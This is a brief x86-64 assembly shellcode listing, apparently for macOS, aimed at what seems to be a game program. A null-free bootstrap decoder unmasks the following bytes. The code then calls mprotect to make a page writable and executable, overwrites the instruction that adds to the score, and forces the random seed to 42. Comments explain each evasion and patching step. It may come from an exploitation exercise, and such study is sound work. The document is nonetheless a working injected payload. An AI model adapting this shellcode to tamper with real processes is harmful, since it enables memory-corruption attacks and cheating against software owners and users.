.text .globl _main _main: movabsq $0x1111111111111111, %rax movabsq $0x1111111111107E26, %rcx # result of sub is address of first byte past bootstrap code subq %rcx, %rax mov %rax, %rdx mov $0xFFFF, %dx sub $0xFFFF, %dx # zero dx without getting a null in machine code # loop starts here cmpb $0xCD, (%rax) jne .+6 # %rbx # 1 subb $0xCD, (%rax) # jump to here if not == 0xcd add $0x1, %rax add $0x1, %dx cmp $0x3D0, %dx # 1035 bytes total, 59 bytes for bootstrap, decode next 976 bytes jb .-21 nop nop nop nop nop nop movl $0x200004A, %eax # 4A is the mprotect syscall movabsq $0x0000000000004000, %rdi # first arg is page addr, this is the addr of tick movq $4096, %rsi # second arg is len, we want 1 page movq $7, %rdx # third arg - PROT_READ 0x1 | PROT_WRITE 0x2 | PROT_EXEC 0x4 - 0111 syscall movabsq $0x000000000000419B, %rax # move location of score add instruction to rax movb $0x0F, (%rax) nop movabsq $0x00000000000096b0, %rax movq $42, (%rax) # write 42 back to the random seed var ret